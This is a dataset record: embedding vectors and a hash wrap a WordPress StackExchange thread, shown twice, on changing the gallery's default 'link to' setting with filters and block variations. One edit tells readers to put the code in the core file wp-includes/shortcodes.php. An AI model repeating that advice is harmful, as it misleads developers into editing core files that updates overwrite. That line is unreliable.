-0.0286407470703125,
-0.03485107421875,
-0.044189453125,
0.0679931640625,
-0.075927734375,
0.0501708984375,
-0.0004570484161376953,
0.0271759033203125,
0.031341552734375,
0.09814453125,
0.0550537109375,
0.0028667449951171875,
-0.010589599609375,
0.09906005859375,
-0.01010894775390625,
0.01288604736328125,
-0.0264892578125,
0.025909423828125,
-0.0207366943359375,
-0.00774383544921875,
0.0213165283203125,
-0.00795745849609375,
-0.023590087890625,
0.00722503662109375,
-0.0019588470458984375,
0.0022830963134765625,
0.0296478271484375,
-0.0052032470703125,
0.0166168212890625,
-0.0272979736328125,
0.0305633544921875,
-0.04449462890625,
-0.0192413330078125,
-0.023040771484375,
-0.003082275390625,
0.01708984375,
-0.0134124755859375,
0.02288818359375,
0.0288848876953125,
0.0416259765625,
-0.031280517578125,
-0.021484375,
-0.0153350830078125,
-0.004302978515625,
0.0030689239501953125,
0.036102294921875,
-0.041290283203125,
-0.033355712890625,
-0.0280914306640625,
0.0282135009765625,
0.0011444091796875,
-0.005435943603515625,
0.003223419189453125,
0.047119140625,
0.01525115966796875,
-0.0609130859375,
-0.0300140380859375,
0.031890869140625,
-0.020843505859375,
-0.0162811279296875,
-0.018157958984375,
-0.0211334228515625,
0.00034689903259277344,
-0.01513671875,
-0.041259765625,
0.027801513671875,
0.00021910667419433594,
-0.01474761962890625,
0.0157470703125,
-0.055572509765625,
-0.038848876953125,
0.002773284912109375,
-0.01361083984375,
-0.0328369140625,
-0.0084075927734375,
-0.02191162109375,
-0.0029964447021484375,
-0.0200653076171875,
-0.001529693603515625,
-0.00970458984375,
0.00968170166015625,
-0.0157318115234375,
-0.01904296875,
0.045257568359375,
0.03265380859375,
-0.0272216796875,
-0.03912353515625,
-0.03155517578125,
-0.0175018310546875,
-0.05096435546875,
0.001247406005859375,
-0.00551605224609375,
-0.01543426513671875,
0.0065765380859375,
-0.0088043212890625,
0.0279388427734375,
0.051177978515625,
-0.0124053955078125,
0.056915283203125,
0.006862640380859375,
-0.015655517578125,
-0.0021610260009765625,
-0.01340484619140625,
-0.045379638671875,
0.04534912109375,
0.0204620361328125,
-0.0002682209014892578,
0.00698089599609375,
0.01029205322265625,
-0.0031719207763671875,
-0.0265960693359375,
-0.0206451416015625,
-0.0428466796875,
-0.0487060546875,
0.00501251220703125,
0.03155517578125,
-0.007785797119140625,
-0.02972412109375,
0.01061248779296875,
0.0364990234375,
0.0161895751953125,
0.0005173683166503906,
-0.01320648193359375,
-0.00530242919921875,
-0.0256500244140625,
-0.005008697509765625,
0.046112060546875,
-0.05548095703125,
-0.06317138671875,
0.0289764404296875,
-0.0286865234375,
-0.0006327629089355469,
0.006694793701171875,
0.0170135498046875,
0.034210205078125,
-0.01140594482421875,
-0.0487060546875,
0.03155517578125,
0.01129913330078125,
0.027801513671875,
-0.01319122314453125,
-0.03887939453125,
-0.031829833984375,
-0.01995849609375,
-0.0108184814453125,
0.0022220611572265625,
-0.030303955078125,
0.004055023193359375,
-0.00597381591796875,
-0.01326751708984375,
-0.02978515625,
-0.048553466796875,
-0.01029205322265625,
-0.015594482421875,
-0.004302978515625,
0.021514892578125,
0.01247406005859375,
0.00936126708984375,
0.00710296630859375,
0.05657958984375,
0.0142669677734375,
-0.0181427001953125,
0.0113983154296875,
-0.0258941650390625,
-0.03900146484375,
0.03704833984375,
0.0253753662109375,
-0.003570556640625,
-0.0088043212890625,
0.01515960693359375,
0.0190277099609375,
-0.018524169921875,
-0.01561737060546875,
0.0120391845703125,
0.0081787109375,
0.0135345458984375,
0.015533447265625,
0.0171661376953125,
0.018768310546875,
-0.0206298828125,
0.02093505859375,
-0.0262451171875,
-0.013336181640625,
-0.0268707275390625,
0.01302337646484375,
-0.018341064453125,
-0.006378173828125,
-0.036956787109375,
0.0340576171875,
-0.0119171142578125,
0.0293121337890625,
-0.0411376953125,
0.0301513671875,
-0.0188751220703125,
0.0450439453125,
0.01068878173828125,
0.0211334228515625,
0.022613525390625,
0.01055145263671875,
-0.048065185546875,
-0.01113128662109375,
-0.040924072265625,
0.018646240234375,
-0.007598876953125,
0.037353515625,
-0.03387451171875,
0.007190704345703125,
-0.02142333984375,
-0.0498046875,
-0.0116729736328125,
0.038818359375,
0.078369140625,
-0.015625,
-0.00714111328125,
-0.034088134765625,
0.04888916015625,
0.0161895751953125,
-0.06768798828125,
0.015380859375,
-0.02581787109375,
-0.0141448974609375,
-0.051849365234375,
0.006374359130859375,
-0.0123138427734375,
-0.0036220550537109375,
0.007038116455078125,
0.0347900390625,
0.041473388671875,
0.0267333984375,
0.0163726806640625,
0.048797607421875,
0.040069580078125,
-0.06103515625,
0.00859832763671875,
0.002796173095703125,
0.005908966064453125,
0.00568389892578125,
0.03924560546875,
-0.007350921630859375,
0.0042266845703125,
-0.0010633468627929688,
0.04656982421875,
-0.00469970703125,
0.01806640625,
0.033538818359375,
-0.04742431640625,
0.0301513671875,
-0.00940704345703125,
0.019622802734375,
0.005115509033203125,
0.0123138427734375,
0.031341552734375,
-0.017913818359375,
0.0225982666015625,
0.006099700927734375,
-0.0126495361328125,
-0.01189422607421875,
0.02569580078125,
0.01267242431640625,
0.026397705078125,
0.01529693603515625,
0.012786865234375,
-0.00939178466796875,
-0.025177001953125,
-0.016876220703125,
0.052520751953125,
0.0058746337890625,
-0.00627899169921875,
0.040374755859375,
0.0245208740234375,
-0.01100921630859375,
-0.0194854736328125,
-0.0178070068359375,
0.01435089111328125,
0.007610321044921875,
-0.0182952880859375,
0.0095672607421875,
0.01503753662109375,
0.03741455078125,
-0.0224761962890625,
0.0163421630859375,
0.0203704833984375,
0.0079345703125,
-0.06536865234375,
-0.041961669921875,
0.0537109375,
-0.055694580078125,
0.01099395751953125,
0.0684814453125,
-0.0137939453125,
0.0269622802734375,
0.00498199462890625,
0.045654296875,
0.048614501953125,
-0.0240936279296875,
-0.0107879638671875,
0.031829833984375,
-0.05584716796875,
-0.026580810546875,
0.037445068359375,
0.062255859375,
0.0062408447265625,
-0.0343017578125,
0.0279388427734375,
0.04083251953125,
-0.07904052734375,
-0.09332275390625,
-0.0158233642578125,
-0.053558349609375,
-0.02838134765625,
0.01506805419921875,
-0.051300048828125,
0.008331298828125,
0.0286102294921875,
0.01226043701171875,
-0.031707763671875,
-0.004489898681640625,
-0.03594970703125,
-0.00351715087890625,
0.002292633056640625,
0.0546875,
-0.019683837890625,
-0.00995635986328125,
0.0024509429931640625,
0.09344482421875,
-0.006778717041015625,
-0.07598876953125,
-0.040374755859375,
0.0266876220703125,
-0.027496337890625,
0.00836181640625,
-0.008941650390625,
0.01201629638671875,
-0.0020580291748046875,
0.00189971923828125,
-0.0175628662109375,
0.0030078887939453125,
0.00705718994140625,
-0.023468017578125,
-0.030914306640625,
-0.00551605224609375,
-0.0132904052734375,
0.0097198486328125,
0.037567138671875,
0.04449462890625,
0.019500732421875,
-0.006023406982421875,
0.00173187255859375,
-0.0186004638671875,
-0.039337158203125,
-0.01137542724609375,
0.0203399658203125,
-0.001712799072265625,
-0.03436279296875,
-0.01084136962890625,
0.01187896728515625,
-0.00861358642578125,
0.00594329833984375,
-0.0175628662109375,
0.0274658203125,
0.01678466796875,
0.0390625,
-0.024688720703125,
-0.016082763671875,
-0.0195159912109375,
0.0200958251953125,
-0.01276397705078125,
0.0242919921875,
0.013824462890625,
0.01800537109375,
-0.005100250244140625,
-0.03619384765625,
0.036285400390625,
-0.00403594970703125,
0.056427001953125,
-0.04071044921875,
-0.036468505859375,
-0.00855255126953125,
0.10772705078125,
-0.07110595703125,
-0.01898193359375,
-0.004364013671875,
0.004024505615234375,
0.04571533203125,
-0.029632568359375,
-0.0262451171875,
-0.039031982421875,
-0.09130859375,
0.00731658935546875,
0.0033016204833984375,
-0.020904541015625,
-0.04254150390625,
0.0675048828125,
-0.07855224609375,
-0.01061248779296875,
0.0131988525390625,
0.016265869140625,
-0.0210418701171875,
0.0239715576171875,
-0.0178375244140625,
0.00603485107421875,
-0.00997161865234375,
-0.001804351806640625,
-0.03753662109375,
-0.0120697021484375,
0.01084136962890625,
0.0274200439453125,
-0.018463134765625,
0.0121612548828125,
-0.0158233642578125,
0.039642333984375,
-0.01393890380859375,
0.0428466796875,
0.006984710693359375,
0.01136016845703125,
0.02105712890625,
-0.041168212890625,
0.0005135536193847656,
-0.0338134765625,
-0.022918701171875,
-0.03814697265625,
-0.0024261474609375,
-0.0287933349609375,
-0.051788330078125,
-0.016326904296875,
-0.0257110595703125,
-0.00576019287109375,
-0.044403076171875,
-0.0548095703125,
0.0047149658203125,
0.03204345703125,
0.00432586669921875,
0.018768310546875,
-0.07366943359375,
-0.048858642578125,
0.005733489990234375,
-0.0045013427734375,
-0.04034423828125,
0.0172882080078125,
0.049468994140625,
0.0160980224609375,
-0.011322021484375,
-0.062225341796875,
-0.00443267822265625,
0.032867431640625,
0.0005946159362792969,
0.0189971923828125,
-0.007740020751953125,
-0.028289794921875,
0.05743408203125,
-0.0045928955078125,
0.008544921875,
-0.001094818115234375,
0.000301361083984375,
-0.005168914794921875,
-0.016815185546875,
0.007152557373046875,
-0.00830078125,
0.0178070068359375,
0.0190887451171875,
-0.028839111328125,
-0.01499176025390625,
-0.031982421875,
0.041839599609375,
0.00437164306640625,
0.01611328125,
-0.0350341796875,
-0.04010009765625,
0.00878143310546875,
-0.00766754150390625,
0.035614013671875,
0.03717041015625,
-0.01009368896484375,
0.05413818359375,
0.049224853515625,
-0.02685546875,
0.0205078125,
0.053985595703125,
0.0120849609375,
0.016998291015625,
0.03216552734375,
-0.0281524658203125,
-0.036346435546875,
-0.004055023193359375,
0.045013427734375,
0.032806396484375,
-0.0275726318359375,
-0.03057861328125,
-0.01910400390625,
0.052978515625,
-0.032684326171875,
0.0202789306640625,
0.0285186767578125,
0.00390625,
0.0028324127197265625,
-0.0128021240234375,
-0.0158843994140625,
0.0022144317626953125,
-0.032745361328125,
0.0230255126953125,
0.0271759033203125,
-0.01161956787109375,
0.007518768310546875,
0.0673828125,
-0.00130462646484375,
0.047271728515625,
-0.0223388671875,
-0.00020778179168701172,
-0.036224365234375,
0.00659942626953125,
0.0221710205078125,
0.034088134765625,
0.0005269050598144531,
-0.0160675048828125,
0.0209808349609375,
-0.017364501953125,
0.04644775390625,
-0.0302581787109375,
0.0009055137634277344,
-0.02093505859375,
-0.053009033203125,
0.0770263671875,
-0.03564453125,
-0.034576416015625,
0.053497314453125,
0.0657958984375,
-0.0236358642578125,
0.002254486083984375,
0.0203094482421875,
-0.0019893646240234375,
0.01456451416015625,
-0.0020771026611328125,
0.00531005859375,
-0.034942626953125,
0.031829833984375,
-0.032867431640625,
0.0408935546875,
-0.01087188720703125,
-0.029022216796875,
-0.0190277099609375,
-0.024810791015625,
-0.035675048828125,
-0.01407623291015625,
-0.04736328125,
0.0218963623046875,
0.006725311279296875,
-0.0097198486328125,
-0.0012969970703125,
0.0772705078125,
-0.028106689453125,
-0.06610107421875,
-0.047515869140625,
0.01154327392578125,
0.0298309326171875,
0.0367431640625,
-0.047576904296875,
-0.01000213623046875,
-0.03875732421875,
-0.008056640625,
-0.0201568603515625,
-0.04364013671875,
-0.0216217041015625,
0.0090789794921875,
0.0400390625,
0.03485107421875,
0.01068115234375,
-0.030670166015625,
-0.033599853515625,
-0.01094818115234375,
0.01806640625,
0.0283050537109375,
-0.0007138252258300781,
0.10479736328125,
-0.032379150390625,
0.0467529296875,
0.01328277587890625,
0.05413818359375,
-0.03204345703125,
-0.005962371826171875,
0.004180908203125,
-0.026275634765625,
0.0032253265380859375,
0.02734375,
-0.05914306640625,
-0.0467529296875,
0.0172882080078125,
-0.0011386871337890625,
0.039093017578125,
0.0012989044189453125,
0.017486572265625,
-0.00939178466796875,
-0.042510986328125,
0.0178985595703125,
-0.0015840530395507812,
0.0650634765625,
-0.00550079345703125,
-0.01039886474609375,
-0.006439208984375,
-0.01433563232421875,
-0.01763916015625,
0.0157470703125,
0.0009975433349609375,
-0.0123138427734375,
-0.0167388916015625,
0.0220489501953125,
0.05743408203125,
0.0141143798828125,
0.056854248046875,
0.027923583984375,
0.04571533203125,
0.023345947265625,
0.01473236083984375,
-0.00141143798828125,
-0.01490020751953125,
0.04974365234375,
0.0019550323486328125,
-0.00276947021484375,
0.01543426513671875,
-0.0293426513671875,
-0.01885986328125,
0.00605010986328125,
0.003936767578125,
0.00579833984375,
-0.0183868408203125,
-0.00875091552734375,
-0.00002092123031616211,
0.0184326171875,
0.00030493736267089844,
-0.00736236572265625,
-0.046478271484375,
0.03662109375,
-0.0246124267578125,
-0.0110931396484375,
0.01093292236328125,
-0.030914306640625,
0.0012454986572265625,
-0.0172271728515625,
0.036712646484375,
0.00243377685546875,
-0.043060302734375,
-0.0110931396484375,
0.018646240234375,
-0.01053619384765625,
-0.02001953125,
0.0016107559204101562,
-0.00870513916015625,
-0.00608062744140625,
-0.0616455078125,
-0.01593017578125,
-0.018157958984375,
-0.0171661376953125,
-0.0017719268798828125,
-0.01922607421875,
-0.0194549560546875,
0.05609130859375,
-0.052703857421875,
0.039520263671875,
0.0302734375,
-0.057098388671875,
-0.00958251953125,
-0.0213165283203125,
0.0307769775390625,
0.010772705078125,
-0.0506591796875,
0.0130462646484375,
-0.017059326171875,
-0.0194244384765625,
-0.037841796875,
-0.038299560546875,
0.090576171875,
0.0006957054138183594,
-0.0291900634765625,
0.0105743408203125,
0.050079345703125,
-0.0251617431640625,
-0.0142822265625,
0.05126953125,
-0.0389404296875,
0.024169921875,
0.01015472412109375,
0.036041259765625,
-0.05194091796875,
-0.029449462890625,
-0.07183837890625,
0.0304412841796875,
-0.028533935546875,
0.047149658203125,
-0.0211944580078125,
-0.0010557174682617188,
0.035308837890625,
-0.00212860107421875,
-0.057647705078125,
0.07525634765625,
-0.0018301010131835938,
0.07342529296875,
-0.0714111328125,
0.0009822845458984375,
0.0031032562255859375,
0.0251007080078125,
0.04486083984375,
-0.005123138427734375,
-0.0377197265625,
-0.0023250579833984375,
0.07080078125,
0.05291748046875,
0.01953125,
0.040435791015625,
-0.012847900390625,
0.053985595703125,
0.0229644775390625,
-0.0293731689453125,
0.03863525390625,
-0.00901031494140625,
-0.06854248046875,
0.0221710205078125,
0.037506103515625,
0.0299072265625,
-0.01262664794921875,
-0.01412200927734375,
-0.083740234375,
0.0211029052734375,
0.061309814453125,
0.007122039794921875,
0.0186920166015625,
0.035919189453125,
0.08721923828125,
-0.04913330078125,
-0.006160736083984375,
-0.0261688232421875,
0.069091796875,
0.037841796875,
-0.001262664794921875,
0.041351318359375,
0.032196044921875,
-0.022064208984375,
0.0164794921875,
0.0254364013671875,
0.00923919677734375,
-0.04296875,
0.040771484375,
0.0209503173828125,
0.01442718505859375,
-0.048980712890625,
-0.06573486328125,
0.054779052734375,
0.050323486328125,
-0.021820068359375,
-0.00702667236328125,
0.022674560546875,
-0.021759033203125,
-0.03961181640625,
-0.04022216796875,
-0.055145263671875,
-0.00868988037109375,
0.007720947265625,
-0.08831787109375,
0.0126495361328125,
0.007755279541015625,
0.098388671875,
0.00006836652755737305,
0.01380157470703125,
-0.10577392578125,
-0.0712890625,
-0.0132904052734375,
0.01151275634765625,
0.018402099609375,
0.0121917724609375,
-0.0020084381103515625,
-0.000022411346435546875,
-0.0017194747924804688,
0.00860595703125,
-0.01047515869140625,
0.01497650146484375,
-0.03204345703125,
0.01515960693359375,
-0.01459503173828125,
-0.007541656494140625,
-0.060333251953125,
0.029510498046875,
0.052001953125,
0.003326416015625,
0.035980224609375,
0.00882720947265625,
-0.01085662841796875,
0.0031185150146484375,
0.0300140380859375,
-0.01277923583984375,
-0.01690673828125,
-0.01277923583984375,
-0.0380859375,
-0.000102996826171875,
-0.0247650146484375,
0.00992584228515625,
-0.012603759765625,
0.0273895263671875,
-0.0458984375,
0.059906005859375,
0.0005469322204589844,
-0.01020050048828125,
0.01042938232421875,
0.0300140380859375,
0.0228424072265625,
0.0111083984375,
-0.031463623046875,
0.0101318359375,
-0.048736572265625,
-0.005764007568359375,
0.01053619384765625,
0.0174407958984375,
0.01445770263671875,
0.00908660888671875,
0.025177001953125,
-0.0099334716796875,
0.0026702880859375,
-0.0187225341796875,
0.034912109375,
-0.0013484954833984375,
-0.01140594482421875,
0.0120697021484375,
-0.050323486328125,
-0.015899658203125,
0.006679534912109375,
0.0016279220581054688,
0.0021228790283203125,
0.035003662109375,
0.03778076171875,
-0.0038852691650390625,
-0.006008148193359375,
0.0177154541015625,
-0.022552490234375,
-0.03155517578125,
0.06365966796875,
0.003696441650390625,
-0.0160064697265625,
-0.01506805419921875,
-0.061767578125,
-0.00994873046875,
0.060150146484375,
-0.033538818359375,
0.01393890380859375,
0.00849151611328125,
0.005828857421875,
-0.0701904296875,
-0.006923675537109375,
-0.028045654296875,
0.009765625,
0.0119171142578125,
-0.00406646728515625,
0.0172576904296875,
-0.0275115966796875,
-0.032501220703125,
0.01080322265625,
0.04345703125,
-0.0279998779296875,
0.0160675048828125,
-0.00030684471130371094,
0.0255889892578125,
0.0321044921875,
0.0299530029296875,
0.0061187744140625,
0.01250457763671875,
-0.0141754150390625,
0.00437164306640625,
0.01220703125,
-0.0247039794921875,
0.01605224609375,
-0.035186767578125,
-0.00865936279296875,
0.00365447998046875,
0.0421142578125,
-0.029876708984375,
0.0123138427734375,
-0.017608642578125,
0.00423431396484375,
0.0158233642578125,
-0.00972747802734375,
-0.0253143310546875,
-0.0428466796875,
-0.0203704833984375,
0.0104827880859375,
-0.028228759765625,
-0.0419921875,
-0.049224853515625,
-0.041656494140625,
0.01197052001953125,
0.004085540771484375,
-0.005340576171875,
-0.006195068359375,
-0.0115509033203125,
-0.026611328125,
-0.018096923828125,
0.01165771484375,
-0.010009765625,
-0.016998291015625,
-0.0100250244140625,
-0.02423095703125,
-0.0190582275390625,
0.055877685546875,
-0.0012664794921875,
-0.02532958984375,
0.00879669189453125,
0.0007767677307128906,
0.015869140625,
-0.052825927734375,
-0.0112457275390625,
-0.00508880615234375,
-0.0099029541015625,
-0.003414154052734375,
0.044647216796875,
-0.015594482421875,
-0.04498291015625,
-0.0360107421875,
0.0283966064453125,
-0.05194091796875,
0.004207611083984375,
-0.038299560546875,
-0.006011962890625,
-0.0086669921875,
-0.04998779296875,
-0.043487548828125,
0.032867431640625,
-0.01013946533203125,
-0.031890869140625,
-0.0615234375,
0.0209503173828125,
-0.01007843017578125,
0.0166473388671875,
-0.007030487060546875,
-0.0265960693359375,
0.005466461181640625,
0.053466796875,
0.01776123046875,
-0.000728607177734375,
0.01580810546875,
0.002193450927734375,
-0.041107177734375,
0.011260986328125,
-0.0190277099609375,
0.0013456344604492188,
-0.0164337158203125,
-0.0016574859619140625,
0.03582763671875,
0.058349609375,
-0.006011962890625,
0.01043701171875,
0.0204620361328125,
-0.06048583984375,
0.001247406005859375,
0.004993438720703125,
-0.052032470703125,
-0.029937744140625,
0.035308837890625,
0.0694580078125,
0.01473236083984375,
-0.019012451171875,
-0.00455474853515625,
0.002239227294921875,
-0.037200927734375,
0.004116058349609375,
0.0175018310546875,
-0.035858154296875,
0.0156707763671875,
-0.00388336181640625,
-0.031982421875,
0.01557159423828125,
0.00705718994140625,
-0.056182861328125,
0.017242431640625,
-0.0227813720703125,
0.0015506744384765625,
-0.0880126953125,
0.0213165283203125,
0.01483917236328125,
-0.022125244140625,
-0.0206756591796875,
-0.0170135498046875,
-0.004688262939453125,
-0.0191497802734375,
-0.0169677734375,
0.035430908203125,
-0.009735107421875,
0.019561767578125,
0.0231475830078125,
0.040771484375,
-0.018157958984375,
0.0136871337890625,
-0.0274658203125,
-0.043670654296875,
0.016326904296875,
0.025909423828125,
0.0066375732421875,
-0.00882720947265625,
-0.005092620849609375,
0.02105712890625,
0.055633544921875,
-0.01369476318359375,
0.07440185546875,
-0.0084228515625,
0.041412353515625,
-0.043670654296875,
0.005008697509765625,
-0.0098114013671875,
-0.018890380859375,
0.01093292236328125,
-0.0102691650390625,
0.0509033203125,
0.0008759498596191406,
0.01512908935546875,
-0.00005620718002319336,
-0.0152130126953125,
0.01459503173828125
] |
9256694aebd5d4cdcd4ac2af16a59a1fb425a9c8
|
Wordpress Stackexchange
Q: Overide Gallery Default Link to Settings Is there way to control the gallery default “Link to” setting? Using the image_default_link_type filter within a functions.php file works on inserting single images into posts but it doesn't seem to have any effect on galleries...
A: Old question but still getting search traffic so for everyone else:
You can accomplish what you describe by filtering the gallery shortcode attributes. Also useful if you want to change the default image size, columns, etc.
function gallery_should_link_to_files($out, $pairs, $atts)
{
$atts = shortcode_atts( array(
'link' => 'file'
), $atts );
$out['link'] = $atts['link'];
return $out;
}
add_filter('shortcode_atts_gallery', 'gallery_should_link_to_files', 10, 3);
Edit Jan 2020: As pointed out by @felwithe in comments, this code would go in your wp-includes/shortcodes.php, for example. It still works in current Wordrpess !
The filter seems poorly documented in the Codex :
http://codex.wordpress.org/Function_Reference/shortcode_atts_gallery
Still, the option to modify the 'link' attribute was added early in 2013 :
https://core.trac.wordpress.org/changeset/25665/trunk
|
Q: Overide Gallery Default Link to Settings Is there way to control the gallery default “Link to” setting? Using the image_default_link_type filter within a functions.php file works on inserting single images into posts but it doesn't seem to have any effect on galleries...
A: Old question but still getting search traffic so for everyone else:
You can accomplish what you describe by filtering the gallery shortcode attributes. Also useful if you want to change the default image size, columns, etc.
function gallery_should_link_to_files($out, $pairs, $atts)
{
$atts = shortcode_atts( array(
'link' => 'file'
), $atts );
$out['link'] = $atts['link'];
return $out;
}
add_filter('shortcode_atts_gallery', 'gallery_should_link_to_files', 10, 3);
Edit Jan 2020: As pointed out by @felwithe in comments, this code would go in your wp-includes/shortcodes.php, for example. It still works in current Wordrpess !
The filter seems poorly documented in the Codex :
http://codex.wordpress.org/Function_Reference/shortcode_atts_gallery
Still, the option to modify the 'link' attribute was added early in 2013 :
https://core.trac.wordpress.org/changeset/25665/trunk
A: Tomas's answer actually contain's the key to change default linking (for Gutenberg). Does not affect already created galleries.
The best way how I was able to implement it, was creating a new edited variation of needed block (gallery), and set it as default. That way the old gallery was replaced by new, edited one.
Register new variation by creating js file in the theme's js folder:
// Gallery block
wp.blocks.registerBlockVariation(
'core/gallery', {
isDefault: true,
attributes: {
linkTo: 'media',
}
}
);
// Image block
wp.blocks.registerBlockVariation(
'core/image', {
isDefault: true,
attributes: {
linkDestination: 'media',
}
}
);
Enqueue it in fuctions.php
function new_gallery() {
wp_enqueue_script('new-gallery', get_template_directory_uri() . '/js/gallery-var.js',
array( 'wp-blocks', 'wp-dom-ready', 'wp-edit-post' )
);
}
add_action( 'enqueue_block_editor_assets', 'new_gallery' );
There is probably a php way to do this too, but for some reason there is only register_block_style mentioned in the documentation https://developer.wordpress.org/block-editor/developers/filters/block-filters/
I am starting to like gutenberg more and more :)
A: This is my working example for WordPress 5.0 (Gutenberg)!
function gallery_template_to_posts() {
$post_type_object = get_post_type_object( 'post' );
$post_type_object->template = array(
array( 'core/gallery', array(
'linkTo' => 'media',
) ),
);
}
add_action( 'init', 'gallery_template_to_posts' );
A: There is an easier solution now:
function my_gallery_default_type_set_link( $settings ) {
$settings['galleryDefaults']['link'] = 'file';
return $settings;
}
add_filter( 'media_view_settings', 'my_gallery_default_type_set_link');
They added a filter to customize this default value (and other values related to the new media upload popup) in WP 4.0 (trac).
A: Unfortunately there is no legal way to control it. But there is a dirty way to do it... If you select this route, then you will need to :
*
*clone the standard gallery_shortcode function
*add a default value for $attr['link'] option
*hook your cloned function into post_gallery filter
The final result will look like this:
add_filter( 'post_gallery', 'wpse8170_gallery_shortcode', 10, 2 );
function wpse8170_gallery_shortcode( $output, $attr ) {
$post = get_post();
static $instance = 0;
$instance++;
// override default link settings
if ( empty( $attr['link'] ) ) {
$attr['link'] = 'none'; // set your default value here
}
if ( !empty( $attr['ids'] ) ) {
// 'ids' is explicitly ordered, unless you specify otherwise.
if ( empty( $attr['orderby'] ) )
$attr['orderby'] = 'post__in';
$attr['include'] = $attr['ids'];
}
// We're trusting author input, so let's at least make sure it looks like a valid orderby statement
if ( isset( $attr['orderby'] ) ) {
$attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );
if ( !$attr['orderby'] )
unset( $attr['orderby'] );
}
extract(shortcode_atts(array(
'order' => 'ASC',
'orderby' => 'menu_order ID',
'id' => $post ? $post->ID : 0,
'itemtag' => 'dl',
'icontag' => 'dt',
'captiontag' => 'dd',
'columns' => 3,
'size' => 'thumbnail',
'include' => '',
'exclude' => ''
), $attr, 'gallery'));
$id = intval($id);
if ( 'RAND' == $order )
$orderby = 'none';
if ( !empty($include) ) {
$_attachments = get_posts( array('include' => $include, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
$attachments = array();
foreach ( $_attachments as $key => $val ) {
$attachments[$val->ID] = $_attachments[$key];
}
} elseif ( !empty($exclude) ) {
$attachments = get_children( array('post_parent' => $id, 'exclude' => $exclude, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
} else {
$attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
}
if ( empty($attachments) )
return '';
if ( is_feed() ) {
$output = "\n";
foreach ( $attachments as $att_id => $attachment )
$output .= wp_get_attachment_link($att_id, $size, true) . "\n";
return $output;
}
$itemtag = tag_escape($itemtag);
$captiontag = tag_escape($captiontag);
$icontag = tag_escape($icontag);
$valid_tags = wp_kses_allowed_html( 'post' );
if ( ! isset( $valid_tags[ $itemtag ] ) )
$itemtag = 'dl';
if ( ! isset( $valid_tags[ $captiontag ] ) )
$captiontag = 'dd';
if ( ! isset( $valid_tags[ $icontag ] ) )
$icontag = 'dt';
$columns = intval($columns);
$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
$float = is_rtl() ? 'right' : 'left';
$selector = "gallery-{$instance}";
$gallery_style = $gallery_div = '';
if ( apply_filters( 'use_default_gallery_style', true ) )
$gallery_style = "
<style type='text/css'>
#{$selector} {
margin: auto;
}
#{$selector} .gallery-item {
float: {$float};
margin-top: 10px;
text-align: center;
width: {$itemwidth}%;
}
#{$selector} img {
border: 2px solid #cfcfcf;
}
#{$selector} .gallery-caption {
margin-left: 0;
}
/* see gallery_shortcode() in wp-includes/media.php */
</style>";
$size_class = sanitize_html_class( $size );
$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";
$output = apply_filters( 'gallery_style', $gallery_style . "\n\t\t" . $gallery_div );
$i = 0;
foreach ( $attachments as $id => $attachment ) {
if ( ! empty( $attr['link'] ) && 'file' === $attr['link'] )
$image_output = wp_get_attachment_link( $id, $size, false, false );
elseif ( ! empty( $attr['link'] ) && 'none' === $attr['link'] )
$image_output = wp_get_attachment_image( $id, $size, false );
else
$image_output = wp_get_attachment_link( $id, $size, true, false );
$image_meta = wp_get_attachment_metadata( $id );
$orientation = '';
if ( isset( $image_meta['height'], $image_meta['width'] ) )
$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
$output .= "<{$itemtag} class='gallery-item'>";
$output .= "
<{$icontag} class='gallery-icon {$orientation}'>
$image_output
</{$icontag}>";
if ( $captiontag && trim($attachment->post_excerpt) ) {
$output .= "
<{$captiontag} class='wp-caption-text gallery-caption'>
" . wptexturize($attachment->post_excerpt) . "
</{$captiontag}>";
}
$output .= "</{$itemtag}>";
if ( $columns > 0 && ++$i % $columns == 0 )
$output .= '<br style="clear: both" />';
}
$output .= "
<br style='clear: both;' />
</div>\n";
return $output;
}
A: It fact works. As denoted above, in the sidebar it will appear as though the gallery is linking to "Attachment Page". However, once you publish your post and click on the image you will notice that it is in fact linked to the media file.
I took this code a step further and created a plugin. This is functionality that I want to stay site specific instead of theme specific.
To create the plugin I followed the simple instructions on this page. I created a file named gallery-link-to-file.php in the wp-content/plugins directory. I then pasted the above code into it and changed $attr['link'] = 'none'; to $attr['link'] = 'file';
I then activated the plugin and it worked like a charm.
|
wordpress
|
{
"language": "en",
"length": 1156,
"provenance": "stackexchange_00019.jsonl.gz:437479",
"question_score": "8",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115368"
}
|
[
0.072021484375,
-0.0186004638671875,
0.049530029296875,
-0.01300811767578125,
0.00220489501953125,
-0.0186004638671875,
0.09967041015625,
-0.0299835205078125,
0.005645751953125,
-0.01015472412109375,
0.00010836124420166016,
-0.0223846435546875,
-0.0308380126953125,
-0.031890869140625,
0.013885498046875,
-0.0513916015625,
0.0200653076171875,
0.0273590087890625,
0.0251312255859375,
-0.0019292831420898438,
0.001850128173828125,
0.0083160400390625,
-0.0004253387451171875,
0.053314208984375,
-0.005367279052734375,
0.018646240234375,
0.067626953125,
-0.0172882080078125,
-0.0037364959716796875,
-0.01111602783203125,
-0.0022983551025390625,
-0.02386474609375,
0.056396484375,
0.005687713623046875,
-0.0758056640625,
0.0306243896484375,
-0.00041556358337402344,
-0.005237579345703125,
-0.036712646484375,
0.03955078125,
0.027313232421875,
-0.01287078857421875,
0.00762176513671875,
-0.006511688232421875,
-0.04522705078125,
0.0064544677734375,
0.010772705078125,
0.0091552734375,
0.03387451171875,
0.0201416015625,
0.01507568359375,
0.050872802734375,
0.0205535888671875,
-0.0295562744140625,
-0.01085662841796875,
-0.0208740234375,
0.01441192626953125,
-0.040191650390625,
0.028533935546875,
-0.034454345703125,
-0.0273590087890625,
-0.0248565673828125,
0.042205810546875,
-0.01042938232421875,
0.0053863525390625,
-0.00791168212890625,
-0.039947509765625,
0.021636962890625,
0.0122528076171875,
0.01541900634765625,
0.0005431175231933594,
-0.0293731689453125,
